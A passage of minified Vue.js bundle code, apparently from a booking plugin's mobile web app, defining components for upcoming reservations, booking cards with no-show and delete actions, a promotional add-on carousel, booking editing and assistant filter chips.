L=(0,t.g2)(\"ProUpgradeModal\"),I=(0,t.g2)(\"font-awesome-icon\"),S=(0,t.g2)(\"AssistantFilterChips\"),P=(0,t.g2)(\"b-spinner\"),E=(0,t.g2)(\"BookingItem\"),F=(0,t.g2)(\"UpcomingPromoCarousel\");return(0,t.uX)(),(0,t.CE)(\"div\",r,[(0,t.bF)(L,{modelValue:e.proUpgradeModalVisible,\"onUpdate:modelValue\":s[0]||(s[0]=s=>e.proUpgradeModalVisible=s),\"message-override\":this.getLabel(\"proUpgradeBookingDetailsMessage\"),\"navigate-to-upcoming-on-dismiss\":!1},null,8,[\"modelValue\",\"message-override\"]),(0,t.Lk)(\"div\",l,[(0,t.Lk)(\"h1\",c,[(0,t.eW)((0,n.v_)(this.getLabel(\"upcomingReservationsTitle\"))+\" \",1),_.isShopsEnabled&&o.shop&&o.shop.name?((0,t.uX)(),(0,t.CE)(\"span\",u,\" - \"+(0,n.v_)(o.shop.name),1)):_.isShopsEnabled&&!o.shop?((0,t.uX)(),(0,t.CE)(\"span\",m,\" - No shop selected\")):(0,t.Q3)(\"\",!0)]),(0,t.Lk)(\"button\",{class:\"header-icon-btn\",onClick:s[1]||(s[1]=s=>e.isSearchVisible=!e.isSearchVisible),\"aria-label\":\"Search\"},[(0,t.bF)(I,{icon:e.isSearchVisible?\"fa-solid fa-circle-xmark\":\"fa-solid fa-magnifying-glass\"},null,8,[\"icon\"])])]),e.isSearchVisible?((0,t.uX)(),(0,t.CE)(\"div\",h,[(0,t.bF)(I,{icon:\"fa-solid fa-magnifying-glass\",class:\"search-bar-icon\"}),(0,t.bo)((0,t.Lk)(\"input\",{\"onUpdate:modelValue\":s[2]||(s[2]=s=>e.search=s),class:\"search-bar-input\",placeholder:\"Search bookings…\",autofocus:\"\"},null,512),[[i.Jo,e.search]]),e.search?((0,t.uX)(),(0,t.Wv)(I,{key:0,icon:\"fa-solid fa-circle-xmark\",class:\"search-bar-clear\",onClick:s[3]||(s[3]=s=>{e.search=\"\",e.isSearchVisible=!1})})):(0,t.Q3)(\"\",!0)])):(0,t.Q3)(\"\",!0),e.search?(0,t.Q3)(\"\",!0):((0,t.uX)(),(0,t.CE)(\"div\",d,[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(e.hours,s=>((0,t.uX)(),(0,t.CE)(\"button\",{key:s.hours,class:(0,n.C4)([\"chip\",{\"chip--active\":e.hourValue===s.hours}]),onClick:o=>e.hourValue=s.hours},(0,n.v_)(s.label),11,g))),128))])),e.canUseAssistantFilter&&_.attendants.length>0&&!e.search?((0,t.uX)(),(0,t.Wv)(S,{key:2,modelValue:e.filterAttendant,\"onUpdate:modelValue\":s[4]||(s[4]=s=>e.filterAttendant=s),assistants:_.attendants},null,8,[\"modelValue\",\"assistants\"])):(0,t.Q3)(\"\",!0),e.isLoading?((0,t.uX)(),(0,t.CE)(\"div\",b,[(0,t.bF)(P)])):((0,t.uX)(),(0,t.CE)(\"div\",p,[_.filteredBookingsList.length>0?((0,t.uX)(),(0,t.CE)(\"div\",{key:0,class:\"bookings-scroll-region\",\"aria-label\":e.getLabel(\"upcomingBookingsScrollAriaLabel\")},[(0,t.Lk)(\"div\",f,[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(_.filteredBookingsList,e=>((0,t.uX)(),(0,t.Wv)(E,{key:e.id,booking:e,onDeleteItem:s=>_.deleteItem(e.id),onShowDetails:s=>_.showDetails(e)},null,8,[\"booking\",\"onDeleteItem\",\"onShowDetails\"]))),128))])],8,k)):((0,t.uX)(),(0,t.CE)(\"div\",C,[(0,t.Lk)(\"div\",w,[(0,t.bF)(I,{icon:\"fa-regular fa-circle-check\"})]),s[5]||(s[5]=(0,t.Lk)(\"p\",{class:\"empty-state-title\"},\"No upcoming bookings\",-1)),(0,t.Lk)(\"p\",y,(0,n.v_)(this.getLabel(\"upcomingReservationsNoResultLabel\")),1)])),(0,t.bF)(F)]))])}o(8992),o(4520),o(3949),o(1454),o(3375),o(9225),o(3972),o(9209),o(5714),o(7561),o(6197);var _=o(8297),L=o(4119);const I={class:\"booking-body\"},S={class:\"booking-row booking-row--top\"},P={class:\"booking-time\"},E={class:\"booking-row\"},F={class:\"booking-customer\"},A={class:\"booking-id\"},N={key:0,class:\"booking-row booking-row--sub\"},B={key:0,class:\"booking-services\"},D={key:1,class:\"booking-attendants\"},T={class:\"booking-actions-start\"},X=[\"disabled\",\"title\"],U={class:\"action-right\"},V=[\"innerHTML\"],$={class:\"delete-confirm\"},M={class:\"delete-confirm-text\"};function H(e,s,o,a,r,l){const c=(0,t.g2)(\"font-awesome-icon\"),u=(0,t.g2)(\"PayRemainingAmount\");return(0,t.uX)(),(0,t.CE)(\"div\",{class:(0,n.C4)([\"booking-card\",{\"booking-card--no-show\":o.booking.no_show}]),onClick:s[7]||(s[7]=(...e)=>l.showDetails&&l.showDetails(...e))},[(0,t.Lk)(\"div\",I,[(0,t.Lk)(\"div\",S,[(0,t.Lk)(\"span\",P,(0,n.v_)(l.date)+\" · \"+(0,n.v_)(l.fromTime)+\"–\"+(0,n.v_)(l.toTime),1),(0,t.Lk)(\"span\",{class:\"status-badge\",style:(0,n.Tr)(l.statusBadgeStyle)},(0,n.v_)(l.status),5)]),(0,t.Lk)(\"div\",E,[(0,t.Lk)(\"span\",F,(0,n.v_)(l.customer),1),(0,t.Lk)(\"span\",A,\"#\"+(0,n.v_)(l.id),1)]),l.serviceNames||l.assistantNames?((0,t.uX)(),(0,t.CE)(\"div\",N,[l.serviceNames?((0,t.uX)(),(0,t.CE)(\"span\",B,(0,n.v_)(l.serviceNames),1)):(0,t.Q3)(\"\",!0),l.assistantNames?((0,t.uX)(),(0,t.CE)(\"span\",D,(0,n.v_)(l.assistantNames),1)):(0,t.Q3)(\"\",!0)])):(0,t.Q3)(\"\",!0),(0,t.Lk)(\"div\",{class:\"booking-row booking-row--actions\",onClick:s[3]||(s[3]=(0,i.D$)(()=>{},[\"stop\"]))},[(0,t.Lk)(\"div\",T,[e.canUsePwaNoShowControl?((0,t.uX)(),(0,t.CE)(t.FK,{key:0},[(0,t.Lk)(\"button\",{type:\"button\",class:(0,n.C4)([\"no-show-icon\",{active:o.booking.no_show}]),disabled:e.isProcessingNoShow,title:o.booking.no_show?\"Marked as No-Show (click to unmark)\":\"Mark as No-Show\",\"aria-label\":\"Toggle no-show\",onClick:s[0]||(s[0]=(...e)=>l.toggleNoShow&&l.toggleNoShow(...e))},[...s[8]||(s[8]=[(0,t.Lk)(\"span\",{class:\"no-show-icon-svg\",\"aria-hidden\":\"true\"},null,-1)])],10,X),o.booking.no_show?((0,t.uX)(),(0,t.CE)(\"button\",{key:0,type:\"button\",class:\"trash-icon\",title:\"Delete no-show booking\",\"aria-label\":\"Delete booking\",onClick:s[1]||(s[1]=(...e)=>l.deleteItemDirect&&l.deleteItemDirect(...e))},[...s[9]||(s[9]=[(0,t.Lk)(\"span\",{class:\"trash-icon-svg\",\"aria-hidden\":\"true\"},null,-1)])])):(0,t.Q3)(\"\",!0)],64)):((0,t.uX)(),(0,t.CE)(\"button\",{key:1,type:\"button\",class:\"action-btn action-btn--danger\",onClick:s[2]||(s[2]=s=>e.isDelete=!0),\"aria-label\":\"Delete\"},[(0,t.bF)(c,{icon:\"fa-solid fa-trash\"})]))]),(0,t.Lk)(\"div\",U,[(0,t.bF)(u,{booking:o.booking},null,8,[\"booking\"]),(0,t.Lk)(\"span\",{class:\"booking-total\",innerHTML:l.totalSum},null,8,V)])])]),!e.canUsePwaNoShowControl&&e.isDelete?((0,t.uX)(),(0,t.CE)(t.FK,{key:0},[(0,t.Lk)(\"div\",{class:\"delete-backdrop\",onClick:s[4]||(s[4]=s=>e.isDelete=!1)}),(0,t.Lk)(\"div\",$,[(0,t.Lk)(\"p\",M,(0,n.v_)(this.getLabel(\"deleteBookingConfirmText\")),1),(0,t.Lk)(\"button\",{class:\"delete-confirm-btn\",onClick:s[5]||(s[5]=(...e)=>l.deleteItem&&l.deleteItem(...e))},(0,n.v_)(this.getLabel(\"deleteBookingButtonLabel\")),1),(0,t.Lk)(\"button\",{class:\"delete-confirm-cancel\",onClick:s[6]||(s[6]=(0,i.D$)(s=>e.isDelete=!1,[\"stop\"]))},(0,n.v_)(this.getLabel(\"deleteBookingGoBackLabel\")),1)])],64)):(0,t.Q3)(\"\",!0)],2)}var W=o(1011),x={name:\"BookingItem\",props:{booking:{default:function(){return{}}}},data:function(){return{isDelete:!1,isProcessingNoShow:!1}},components:{PayRemainingAmount:W.A},computed:{customer(){return this.booking.customer_first_name+\" \"+this.booking.customer_last_name},status(){return this.$root.statusesList[this.booking.status].label},statusColor(){return this.$root.statusesList[this.booking.status].color},statusBadgeStyle(){const e=this.statusColor;return{backgroundColor:e+\"1F\",color:e}},date(){return this.dateFormat(this.booking.date)},fromTime(){const e=\"default\"===this.timeFormat?\"HH:mm\":\"h:mma\";return this.moment(this.booking.time,\"HH:mm\").format(e)},toTime(){const e=\"default\"===this.timeFormat?\"HH:mm\":\"h:mma\",s=this.booking.services??[];return s.length>0?this.moment(s[s.length-1].end_at,\"HH:mm\").format(e):this.moment(this.booking.time,\"HH:mm\").format(e)},totalSum(){return this.booking.amount+\" \"+this.booking.currency},id(){return this.booking.id},assistants(){return(this.booking.services??[]).map(e=>({id:e.assistant_id,name:e.assistant_name})).filter(e=>+e.id)},serviceNames(){const e=(this.booking.services??[]).map(e=>e.name).filter(Boolean);return e.join(\", \")},assistantNames(){return this.assistants.map(e=>e.name).join(\" · \")},timeFormat(){return void 0===this.$root.settings.time_format?\"default\":this.$root.settings.time_format.type??\"default\"}},methods:{deleteItem(){this.$emit(\"deleteItem\"),this.isDelete=!1},deleteItemDirect(){this.$emit(\"deleteItem\")},async toggleNoShow(){if(this.canUsePwaNoShowControl&&!this.isProcessingNoShow){this.isProcessingNoShow=!0;try{const e=!this.booking.no_show,s=await this.axios.post(\"bookings\u002Fno-show\",{bookingId:this.booking.id,noShow:e?1:0});s.data&&s.data.success&&(this.booking.no_show=e,this.$emit(\"booking-no-show-changed\",{bookingId:this.booking.id,noShow:e}),this.$root.$emit(\"show-notification\",{type:\"success\",message:e?\"Marked as no-show\":\"Unmarked as no-show\"}))}catch(e){console.error(\"Error toggling no-show:\",e),this.$root.$emit(\"show-notification\",{type:\"error\",message:\"Failed to update no-show status\"})}finally{this.isProcessingNoShow=!1}}},showDetails(){this.$emit(\"showDetails\")}},emits:[\"deleteItem\",\"showDetails\",\"booking-no-show-changed\"]},Q=o(5932);const R=(0,Q.A)(x,[[\"render\",H],[\"__scopeId\",\"data-v-4803b1e6\"]]);var Y=R;const K={class:\"upcoming-promo-carousel\",\"aria-labelledby\":\"upcoming-promos-heading\"},z={id:\"upcoming-promos-heading\",class:\"upcoming-promo-carousel__title\"},j={class:\"upcoming-promo-carousel__track\",role:\"list\"},q={class:\"upcoming-promo-carousel__card-top\"},G={class:\"upcoming-promo-carousel__card-icon\",\"aria-hidden\":\"true\"},J={key:0,class:\"upcoming-promo-carousel__category-pill\"},O={class:\"upcoming-promo-carousel__card-title\"},Z={class:\"upcoming-promo-carousel__card-body\"},ee=[\"href\"];function se(e,s,o,i,a,r){const l=(0,t.g2)(\"font-awesome-icon\");return(0,t.uX)(),(0,t.CE)(\"section\",K,[(0,t.Lk)(\"h2\",z,(0,n.v_)(e.getLabel(\"upcomingPromosSectionTitle\")||\"Features & add-ons\"),1),(0,t.Lk)(\"div\",j,[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(r.slides,(e,s)=>((0,t.uX)(),(0,t.CE)(\"article\",{key:e.href?`${e.href}-${s}`:`slide-${s}`,class:(0,n.C4)([\"upcoming-promo-carousel__card\",{\"upcoming-promo-carousel__card--dummy\":e.dummy,\"upcoming-promo-carousel__card--license\":e.licensePromo}]),role:\"listitem\"},[(0,t.Lk)(\"div\",q,[(0,t.Lk)(\"div\",G,[(0,t.bF)(l,{icon:e.icon},null,8,[\"icon\"])]),e.category?((0,t.uX)(),(0,t.CE)(\"span\",J,(0,n.v_)(e.category),1)):(0,t.Q3)(\"\",!0)]),(0,t.Lk)(\"h3\",O,(0,n.v_)(e.title),1),(0,t.Lk)(\"p\",Z,(0,n.v_)(e.body),1),e.href?((0,t.uX)(),(0,t.CE)(\"a\",{key:0,href:e.href,class:\"upcoming-promo-carousel__card-link\",target:\"_blank\",rel:\"noopener noreferrer\"},(0,n.v_)(e.cta),9,ee)):(0,t.Q3)(\"\",!0)],2))),128))])])}function oe(e){const s=(e||\"\").toLowerCase();return s.includes(\"sms\")||s.includes(\"text message\")||s.includes(\"ovh\")||s.includes(\"twilio\")?\"fa-solid fa-bell\":s.includes(\"mail\")||s.includes(\"email\")||s.includes(\"communicator\")||s.includes(\"mailchimp\")?\"fa-solid fa-globe\":s.includes(\"woo\")||s.includes(\"stripe\")||s.includes(\"paypal\")||s.includes(\"payment\")?\"fa-solid fa-store\":s.includes(\"calendar\")||s.includes(\"google\")||s.includes(\"outlook\")||s.includes(\"apple\")?\"fa-solid fa-calendar-days\":s.includes(\"price\")||s.includes(\"dynamic\")?\"fa-solid fa-chart-simple\":s.includes(\"note\")||s.includes(\"soap\")?\"fa-solid fa-pen-to-square\":s.includes(\"geo\")||s.includes(\"location\")||s.includes(\"multi-shop\")||s.includes(\"branch\")?\"fa-solid fa-globe\":s.includes(\"package\")||s.includes(\"bundle\")||s.includes(\"membership\")?\"fa-solid fa-medal\":\"fa-solid fa-puzzle-piece\"}function te(e,s){return[{dummy:!0,icon:\"fa-solid fa-circle-plus\",title:\"Sample: new add-on slot\",body:\"Dummy promo card for layout and carousel testing. Replace with real campaigns in production.\",href:e,cta:s},{dummy:!0,icon:\"fa-solid fa-globe\",title:\"Sample: booking widget\",body:\"Placeholder copy. Use this strip to highlight features, integrations, or seasonal offers.\"},{dummy:!0,icon:\"fa-solid fa-images\",title:\"Sample: gallery & media\",body:\"Third dummy card so horizontal snap scrolling is easy to verify on a phone.\",href:e,cta:s}]}var ie={name:\"UpcomingPromoCarousel\",computed:{slides(){const e=window.slnPWA?.pro_pricing_url||\"#\",s=this.getLabel(\"upcomingPromoCtaLabel\")||\"Learn more\",o=this.buildLicenseUpgradeSlide(e,s),t=Array.isArray(window.slnPWA?.featured_addon_promos)?window.slnPWA.featured_addon_promos:[];let i=[];return i=t.length?t.map(e=>({icon:oe(e.title),title:e.title||\"\",body:e.body||\"\",href:e.href||\"\",cta:e.cta||s,category:\"string\"===typeof e.category?e.category.trim():\"\"})):this.buildLegacyPromoSlides(e,s),o?[...i,o]:i}},methods:{buildLicenseUpgradeSlide(e,s){const o=window.slnPWA?.license_upgrade_promo;return o&&o.kind?\"free_pro\"===o.kind?{licensePromo:!0,icon:\"fa-solid fa-unlock\",title:this.getLabel(\"pwaLicensePromoFreeProTitle\")||\"\",body:this.getLabel(\"pwaLicensePromoFreeProBody\")||\"\",href:o.href||e,cta:this.getLabel(\"pwaLicensePromoFreeProCta\")||s}:\"basic_business\"===o.kind?{licensePromo:!0,icon:\"fa-solid fa-rocket\",title:this.getLabel(\"pwaLicensePromoBasicBusinessTitle\")||\"\",body:this.getLabel(\"pwaLicensePromoBasicBusinessBody\")||\"\",href:o.href||e,cta:this.getLabel(\"pwaLicensePromoBasicBusinessCta\")||s}:null:null},buildLegacyPromoSlides(e,s){const o=[{icon:\"fa-solid fa-chart-simple\",title:this.getLabel(\"upcomingPromo1Title\")||\"Dynamic pricing\",body:this.getLabel(\"upcomingPromo1Body\")||\"\",href:e,cta:s},{icon:\"fa-solid fa-bell\",title:this.getLabel(\"upcomingPromo2Title\")||\"SMS notifications\",body:this.getLabel(\"upcomingPromo2Body\")||\"\"},{icon:\"fa-solid fa-medal\",title:this.getLabel(\"upcomingPromo3Title\")||\"Full mobile workflow\",body:this.getLabel(\"upcomingPromo3Body\")||\"\",href:e,cta:s}];return!1!==window.slnPWA?.dummy_promo_cards?[...o,...te(e,s)]:o}}};const ae=(0,Q.A)(ie,[[\"render\",se],[\"__scopeId\",\"data-v-71783f76\"]]);var ne=ae,re=o(1815),le={name:\"UpcomingReservations\",props:{shop:{default:function(){return{}}}},data:function(){return{hours:[{label:this.getLabel(\"label8Hours\"),hours:8},{label:this.getLabel(\"label24Hours\"),hours:24},{label:this.getLabel(\"label3Days\"),hours:72},{label:this.getLabel(\"label1Week\"),hours:168}],hourValue:8,bookingsList:[],isLoading:!1,filterAttendant:\"\",search:\"\",proUpgradeModalVisible:!1,timeout:null,isSearchVisible:!1,assistantImagesById:{},assistantFilterList:[],busyNowTick:0}},mounted(){this.load(),setInterval(()=>this.update(),6e4),this._busyNowIntervalId=setInterval(()=>{this.busyNowTick=Date.now()},3e4)},beforeUnmount(){this._busyNowIntervalId&&clearInterval(this._busyNowIntervalId)},components:{AssistantFilterChips:_.A,ProUpgradeModal:L.A,BookingItem:Y,UpcomingPromoCarousel:ne},watch:{hourValue(e){e&&this.load()},search(e){e?(this.hourValue=\"\",this.loadSearch()):this.hourValue=8},shop(){this.load()}},computed:{isShopsEnabled(){return window.slnPWA?.is_shops||!1},attendants(){if(this.busyNowTick,!this.canUseAssistantFilter)return[];const e={id:\"\",name:this.getLabel(\"allTitle\"),imageUrl:\"\",filterable:!0,busyNow:!1},s=this.bookingsList||[],o=(0,re.F3)(s),t=Date.now(),i=new Map;(this.assistantFilterList||[]).forEach(e=>{const s=Number(e.id);!Number.isFinite(s)||s\u003C=0||i.set(s,{id:s,name:e.name||\"\",image_url:\"string\"===typeof e.image_url?e.image_url.trim():\"\"})}),s.forEach(e=>{(e.services||[]).forEach(e=>{const s=Number(e.assistant_id);!Number.isFinite(s)||s\u003C=0||i.has(s)||i.set(s,{id:s,name:e.assistant_name||\"#\"+s,image_url:\"\"})})});const a=(this.assistantFilterList||[]).map(e=>Number(e.id)).filter(e=>Number.isFinite(e)&&e>0),n=[...i.keys()].filter(e=>!a.includes(e)).sort((e,s)=>String(i.get(e).name||\"\").localeCompare(String(i.get(s).name||\"\"),void 0,{sensitivity:\"base\"})),r=[...a.filter(e=>i.has(e)),...n];if(0===r.length)return[];const l=r.map(e=>{const a=i.get(e),n=(this.assistantImagesById[e]||\"\").trim(),r=n||a.image_url||\"\";return{id:e,name:a.name,imageUrl:r,filterable:o.has(e),busyNow:(0,re.Eq)(s,e,t,this.moment)}});return[e,...l]},filteredBookingsList(){return this.canUseAssistantFilter?this.bookingsList.filter(e=>{var s=!1;return e.services.forEach(e=>{String(this.filterAttendant)===String(e.assistant_id)&&(s=!0)}),\"\"===this.filterAttendant||s}):this.bookingsList}},methods:{deleteItem(e){this.axios.delete(\"bookings\u002F\"+e).then(()=>{this.bookingsList=this.bookingsList.filter(s=>s.id!==e)})},showDetails(e){!0===window.slnPWA?.is_pro?this.$emit(\"showItem\",e):this.proUpgradeModalVisible=!0},fetchAssistantThumbs(){if(!this.canUseAssistantFilter)return Promise.resolve();const e={per_page:-1,orderby:\"order\",order:\"asc\"};return this.isShopsEnabled&&this.shop&&this.shop.id&&(e.shop=this.shop.id),this.axios.get(\"assistants\",{params:e}).then(e=>{const s=e.data.items||[];this.assistantFilterList=s;const o={...this.assistantImagesById};s.forEach(e=>{const s=Number(e.id);if(!Number.isFinite(s)||s\u003C=0)return;const t=\"string\"===typeof e.image_url?e.image_url.trim():\"\";t&&(o[s]=t)}),this.assistantImagesById=o}).catch(()=>{})},enrichAssistantThumbsForBookings(e){if(!this.canUseAssistantFilter||!Array.isArray(e)||!e.length)return Promise.resolve();const s=new Set;return e.forEach(e=>{(e.services||[]).forEach(e=>{const o=e.assistant_id;if(\"number\"!==typeof o&&\"string\"!==typeof o)return;const t=Number(o);if(!Number.isFinite(t)||t\u003C=0)return;const i=(this.assistantImagesById[t]||\"\").trim()||(e.assistant_image_url||\"\").trim();i||s.add(t)})}),s.size?Promise.all([...s].map(e=>this.axios.get(`assistants\u002F${e}`).then(s=>{const o=s.data?.items?.[0],t=o?.image_url&&String(o.image_url).trim();return t?{id:e,url:t}:null}).catch(()=>null))).then(e=>{const s={...this.assistantImagesById};e.forEach(e=>{e&&(s[e.id]=e.url)}),this.assistantImagesById=s}):Promise.resolve()},load(){this.isLoading=!0,this.bookingsList=[],this.assistantImagesById={},this.assistantFilterList=[];const e={hours:this.hourValue,shop:this.shop?this.shop.id:null};Promise.all([this.axios.get(\"bookings\u002Fupcoming\",{params:e}),this.fetchAssistantThumbs()]).then(([e])=>(this.bookingsList=e.data.items,this.enrichAssistantThumbsForBookings(this.bookingsList))).finally(()=>{this.isLoading=!1})},loadSearch(){this.timeout&&clearTimeout(this.timeout),this.timeout=setTimeout(()=>{this.isLoading=!0,this.bookingsList=[],this.assistantImagesById={},this.assistantFilterList=[],Promise.all([this.axios.get(\"bookings\",{params:{search:this.search,per_page:-1,order_by:\"date_time\",order:\"asc\",start_date:this.moment().format(\"YYYY-MM-DD\"),shop:this.shop?this.shop.id:null}}),this.fetchAssistantThumbs()]).then(([e])=>(this.bookingsList=e.data.items,this.enrichAssistantThumbsForBookings(this.bookingsList))).finally(()=>{this.isLoading=!1})},1e3)},update(){Promise.all([this.axios.get(\"bookings\u002Fupcoming\",{params:{hours:this.hourValue,shop:this.shop?this.shop.id:null}}),this.fetchAssistantThumbs()]).then(([e])=>(this.bookingsList=e.data.items,this.enrichAssistantThumbsForBookings(this.bookingsList)))}},emits:[\"showItem\"]};const ce=(0,Q.A)(le,[[\"render\",v],[\"__scopeId\",\"data-v-f09f4890\"]]);var ue=ce,me=o(3621),he=o(4719),de=o(39),ge=o(7995),be=o(603),pe={name:\"UpcomingReservationsTab\",props:{shop:{default:function(){return{}}}},components:{UpcomingReservations:ue,BookingDetails:me.A,EditBookingItem:he.A,CustomersAddressBook:de.A,ImagesList:ge.A,CustomerDetails:be.A},data:function(){return{showItem:!1,editItem:!1,item:null,isChooseCustomer:!1,customer:null,isShowCustomerImages:!1,showImagesCustomer:null,showCustomerProfile:!1,selectedCustomer:null}},mounted(){},beforeUnmount(){},methods:{setShowItem(e){this.showItem=!0,this.item=e},closeShowItem(){this.showItem=!1},setEditItem(){this.editItem=!0},closeEditItem(e){this.editItem=!1,this.customer=null,e&&this.setShowItem(e)},chooseCustomer(){this.isChooseCustomer=!0},closeChooseCustomer(){this.isChooseCustomer=!1},choose(e){this.customer=e,this.closeChooseCustomer()},showCustomerImages(e){this.isShowCustomerImages=!0,this.showImagesCustomer=e,this.$emit(\"hideTabsHeader\",!0)},closeShowCustomerImages(e){this.item.customer_photos=e.photos,this.isShowCustomerImages=!1,this.$emit(\"hideTabsHeader\",!1)},openCustomerProfile(e){console.log(\"🟣 UpcomingReservationsTab openCustomerProfile() called with customer:\",e),console.log(\"🟣 Customer ID:\",e.id),this.selectedCustomer=e,this.showItem=!1,this.showCustomerProfile=!0},closeCustomerProfile(){this.showCustomerProfile=!1,this.selectedCustomer=null,this.item&&(this.showItem=!0)},showBookingFromCustomer(e){console.log(\"🟢 showBookingFromCustomer called in UpcomingReservationsTab\",e),this.showCustomerProfile=!1,this.selectedCustomer=null,this.setShowItem(e)}},emits:[\"hideTabsHeader\"]};const ke=(0,Q.A)(pe,[[\"render\",a]]);var fe=ke},1815:function(e,s,o){o.d(s,{Eq:function(){return n},F3:function(){return a}});o(8992),o(3949),o(3375),o(9225),o(3972),o(9209),o(5714),o(7561),o(6197);const t=new Set([\"sln-b-confirmed\",\"sln-b-paid\",\"sln-b-paylater\"]);function i(e,s,o){if(!e||!s)return null;const t=String(s).trim();let i=o(`${e} ${t}`,\"YYYY-MM-DD HH:mm\",!0);return i.isValid()||(i=o(`${e} ${t}`,\"YYYY-MM-DD H:mm\",!0)),i.isValid()?i:null}function a(e){const s=new Set;return(e||[]).forEach(e=>{(e.services||[]).forEach(e=>{const o=Number(e.assistant_id);Number.isFinite(o)&&o>0&&s.add(o)})}),s}function n(e,s,o,a){const n=Number(s);if(!Number.isFinite(n)||n\u003C=0)return!1;const r=a(o);for(const l of e||[]){if(!l||!t.has(l.status))continue;const e=l.date;if(!e)continue;const s=l.services||[];if(s.length)for(const o of s){const s=Number(o.assistant_id);if(!Number.isFinite(s)||s!==n)continue;const t=o.start_at||l.time,c=o.end_at||o.start_at||l.time,u=i(e,t,a);let m=i(e,c,a);if(u&&m&&(m.isBefore(u)&&(m=m.add(1,\"day\")),m.isSame(u)&&(m=u.add(1,\"hour\")),!r.isBefore(u)&&!r.isAfter(m)))return!0}}return!1}},4719:function(e,s,o){o.d(s,{A:function(){return g}});var t=o(6436),i=o(7959),a=o(1469);const n={class:\"screen-wrapper\"},r={class:\"screen-header\"},l={class:\"screen-title\"};function c(e,s,o,c,u,m){const h=(0,t.g2)(\"font-awesome-icon\"),d=(0,t.g2)(\"EditBooking\");return(0,t.bo)(((0,t.uX)(),(0,t.CE)(\"div\",n,[(0,t.Lk)(\"div\",r,[(0,t.Lk)(\"button\",{class:\"back-btn\",type:\"button\",onClick:s[0]||(s[0]=e=>m.close())},[(0,t.bF)(h,{icon:\"fa-solid fa-arrow-left\"})]),(0,t.Lk)(\"h1\",l,(0,i.v_)(e.getLabel(\"editReservationTitle\")),1),s[1]||(s[1]=(0,t.Lk)(\"span\",{class:\"back-btn-placeholder\"},null,-1))]),(0,t.bF)(d,{bookingID:o.booking.id,date:o.booking.date,time:o.booking.time,customerID:o.customer?o.customer.id:o.booking.customer_id,customerFirstname:o.customer?o.customer.first_name:o.booking.customer_first_name,customerLastname:o.customer?o.customer.last_name:o.booking.customer_last_name,customerEmail:o.customer?o.customer.email:o.booking.customer_email,customerPhone:o.customer?o.customer.phone:o.booking.customer_phone,customerAddress:o.customer?o.customer.address:o.booking.customer_address,customerNotes:o.booking.note,customerPersonalNotes:o.customer?o.customer.note:o.booking.customer_personal_note,services:o.booking.services,discounts:o.booking.discounts,status:o.booking.status,isLoading:e.isLoading,isSaved:e.isSaved,isError:e.isError,errorMessage:e.errorMessage,customFields:o.booking.custom_fields,shop:o.booking.shop,onClose:m.close,onChooseCustomer:m.chooseCustomer,onErrorState:m.handleErrorState,onSave:m.save},null,8,[\"bookingID\",\"date\",\"time\",\"customerID\",\"customerFirstname\",\"customerLastname\",\"customerEmail\",\"customerPhone\",\"customerAddress\",\"customerNotes\",\"customerPersonalNotes\",\"services\",\"discounts\",\"status\",\"isLoading\",\"isSaved\",\"isError\",\"errorMessage\",\"customFields\",\"shop\",\"onClose\",\"onChooseCustomer\",\"onErrorState\",\"onSave\"])],512)),[[a.aG,e.show]])}var u=o(2442),m={name:\"EditBookingItem\",props:{booking:{default:function(){return{}}},customer:{default:function(){return{}}}},components:{EditBooking:u.A},mounted(){this.toggleShow()},data:function(){return{isLoading:!1,isSaved:!1,isError:!1,errorMessage:\"\",show:!0,bookings:[]}},methods:{handleErrorState({isError:e,errorMessage:s}){this.isError=e,this.errorMessage=s},close(e){this.isError=!1,this.$emit(\"close\",e)},chooseCustomer(){this.isError=!1,this.$emit(\"chooseCustomer\")},save(e){this.isLoading=!0,this.axios.put(\"bookings\u002F\"+this.booking.id,e).then(e=>{this.isSaved=!0,setTimeout(()=>{this.isSaved=!1},3e3),this.isLoading=!1,this.axios.get(\"bookings\u002F\"+e.data.id).then(e=>{this.close(e.data.items[0])})},e=>{this.isError=!0,this.errorMessage=e.response.data.message,this.isLoading=!1})},toggleShow(){this.show=!1,setTimeout(()=>{this.show=!0},0)}},emits:[\"close\",\"chooseCustomer\"]},h=o(5932);const d=(0,h.A)(m,[[\"render\",c],[\"__scopeId\",\"data-v-8ee5b09e\"]]);var g=d},8297:function(e,s,o){o.d(s,{A:function(){return g}});var t=o(6436),i=o(7959);const a=[\"aria-label\"],n=[\"disabled\",\"aria-busy\",\"title\",\"onClick\"],r={class:\"attendant-avatar\"},l=[\"src\",\"alt\"],c={class:\"attendant-name\"};function u(e,s,o,u,m,h){return(0,t.uX)(),(0,t.CE)(\"div\",{class:\"attendant-chips\",role:\"toolbar\",\"aria-label\":o.ariaLabel},[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(o.assistants,e=>((0,t.uX)(),(0,t.CE)(\"button\",{key:h.chipKey(e),type:\"button\",class:(0,i.C4)([\"attendant-chip\",h.chipClasses(e)]),disabled:h.chipDisabled(e),\"aria-busy\":e.busyNow?\"true\":void 0,title:h.chipTitle(e),onClick:s=>h.onChipClick(e)},[(0,t.Lk)(\"span\",r,[e.imageUrl?((0,t.uX)(),(0,t.CE)(\"img\",{key:0,class:\"attendant-avatar-img\",src:e.imageUrl,alt:e.name||\"\",loading:\"lazy\",decoding:\"async\"},null,8,l)):((0,t.uX)(),(0,t.CE)(t.FK,{key:1},[(0,t.eW)((0,i.v_)(h.initials(e.name)),1)],64))]),(0,t.Lk)(\"span\",c,(0,i.v_)(h.firstName(e.name)),1)],10,n))),128))],8,a)}o(8992),o(1454);var m={name:\"AssistantFilterChips\",props:{assistants:{type:Array,default:()=>[]},modelValue:{type:[String,Number],default:\"\"},ariaLabel:{type:String,default:\"Filter by assistant\"}},emits:[\"update:modelValue\"],methods:{chipDisabled(e){return\"\"!==e.id&&null!==e.id&&\"undefined\"!==typeof e.id&&!1===e.filterable},chipClasses(e){return{\"attendant-chip--active\":this.isActive(e.id),\"attendant-chip--busy\":!!e.busyNow}},chipTitle(e){return this.chipDisabled(e)?\"No bookings to filter for this assistant\":e.busyNow?\"In a reservation now\":\"\"},chipKey(e){const s=e.id;return\"\"===s||null===s||\"undefined\"===typeof s?\"all\":s},initials(e){return e?e.split(\" \").slice(0,2).map(e=>e[0]?.toUpperCase()??\"\").join(\"\"):\"?\"},firstName(e){return e?e.split(\" \")[0]:\"\"},isActive(e){return\"\"===e||null===e||\"undefined\"===typeof 